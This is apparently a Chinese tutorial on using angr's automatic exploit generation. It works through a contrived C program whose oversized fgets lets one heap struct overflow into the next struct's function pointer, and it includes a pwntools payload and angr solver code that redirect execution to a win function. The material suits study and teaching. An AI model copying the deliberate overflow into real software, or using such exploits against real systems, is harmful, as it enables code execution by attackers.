题目源码如下:
#include <stdio.h>
#include <stdlib.h>
typedef void (*printFunction)();
// Contrived structure
typedef struct myStruct {
printFunction print;
char buf[16];
} myStruct;
// We want to get here
void win() {
printf("Win function executed.");
}
int main() {
// Unbuffering to make things clearer
setbuf(stdin,0);
setbuf(stdout,0);
// Setup our two structs
myStruct *a = calloc(1,sizeof(myStruct));
myStruct *b = calloc(1,sizeof(myStruct));
// Read in input
printf("Input b: ");
fgets(b->buf,64,stdin);
b->print = printf;
printf("Input a: ");
fgets(a->buf,64,stdin);
a->print = printf;
// Print the results
b->print("Output b: %s",b->buf);
a->print("Output a: %s",a->buf);
}
由于是学习angr的aeg使用,所以我们先手工分析一下程序,在去看官方给的solver。
很明显,代码中fgets接收的数据是64字节,但结构体中的的buf数组只有16字节,且先初始化的数据块后写入输入,使得第二次输入数据时可以溢出到第一次输入数据块的函数指针保存处,只要通过溢出将其修改为win函数的地址即可。该二进制程序除了nx没启动任何安全机制,所以逆向后看到的地址就是内存加载地址。用pwntools可以很容易地解出:
p.recv()
p.sendline("B"*8)
p.recv()
payload = b"A"*24 + p64(0x400686)
p.sendline(payload)
p.interactive()
接下来,我们一步步地用angr来解题。
前面的代码和上一篇的缓冲区溢出一样,都是创建项目、找到未约束状态、检查该状态中的pc指针是否被完全符号化,如果完全符号化,则找到了一个可利用状态。
def main(binary):
p = angr.Project(binary, auto_load_libs=False)
binary_name = os.path.basename(binary)
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
es = p.factory.entry_state(add_option=extras)
sm = p.factory.simulation_manager(es, save_unconstrained=True)
l.info("looking for vulnerability in '%s'", binary_name)
exploitable_state = None
while exploitable_state is None:
sm.step()
if len(sm.unconstrained) > 0:
l.info("found some unconstrained states, checking exploitability")
for u in sm.unconstrained:
if fully_symbolic(u, u.regs.pc):
exploitable_state = u
break
sm.drop(stash='unconstrained')
l.info("found a state which looks exploitable")
ep = exploitable_state
assert ep.solver.symbolic(ep.regs.pc)
def fully_symbolic(state, variable):
for i in range(state.arch.bits):
if not state.solver.symbolic(variable[i]):
return False
return True
但接下来就不一样了,上一篇是需要问shellcode找到一个放置的空间,而这里是要把pc指针替换成win函数地址。
ep.add_constraints(ep.regs.rip == p.loader.find_symbol('win').rebased_addr
assert ep.satisfiable()
print(ep.posix.dumps(0))
如上所示,其实就是增加一个条件,让可利用状态中的rip等于win函数地址即可。